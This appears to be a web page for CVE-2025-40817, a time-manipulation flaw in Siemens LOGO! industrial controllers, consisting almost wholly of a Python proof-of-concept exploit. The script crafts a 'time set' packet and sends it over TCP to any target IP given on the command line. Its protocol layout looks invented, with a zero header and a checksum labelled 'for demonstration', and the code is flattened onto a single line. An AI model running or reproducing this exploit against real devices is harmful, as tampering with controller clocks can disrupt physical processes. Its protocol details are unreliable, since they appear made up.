CVE-2025-40817: Siemens LOGO!设备时间篡改漏洞

# CVE-2025-40817 PoC - Siemens LOGO! Time Manipulation # This PoC demonstrates time modification attack on vulnerable LOGO! devices # Author: Security Researcher # Note: For authorized testing only import socket import struct import sys from datetime import datetime def craft_logo_time_packet(year, month, day, hour, minute, second): """ Craft LOGO! time modification packet LOGO! devices use proprietary protocol on port 10005/TCP or 10006/TCP """ # LOGO! protocol header protocol_header = b'\x00\x00\x00\x00' # Command type: Time set (0x01) cmd_time_set = b'\x01' # Reserved bytes reserved = b'\x00\x00' # Time data structure time_data = struct.pack('>H', year) # Year (big-endian) time_data += struct.pack('>B', month) # Month time_data += struct.pack('>B', day) # Day time_data += struct.pack('>B', hour) # Hour time_data += struct.pack('>B', minute) # Minute time_data += struct.pack('>B', second) # Second # Calculate checksum (simple XOR for demonstration) checksum = 0 for byte in cmd_time_set + reserved + time_data: checksum ^= byte # Construct full packet packet = protocol_header + cmd_time_set + reserved + time_data + bytes([checksum]) return packet def exploit_logo_time(target_ip, target_port=10005): """ Send malicious time packet to LOGO! device """ try: # Set target time (example: 2025-01-01 00:00:00) target_time = datetime(2025, 1, 1, 0, 0, 0) # Craft malicious packet packet = craft_logo_time_packet( target_time.year, target_time.month, target_time.day, target_time.hour, target_time.minute, target_time.second ) print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Crafted time packet for: {target_time.isoformat()}") print(f"[*] Packet hex: {packet.hex()}") # Send packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(packet) # Receive response response = sock.recv(1024) print(f"[+] Response received: {response.hex()}") sock.close() return True except socket.timeout: print("[-] Connection timeout - device may not be vulnerable or not reachable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-40817_poc.py <target_ip> [port]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 10005 print("=" * 60) print("CVE-2025-40817 - Siemens LOGO! Time Manipulation PoC") print("=" * 60) exploit_logo_time(target_ip, target_port)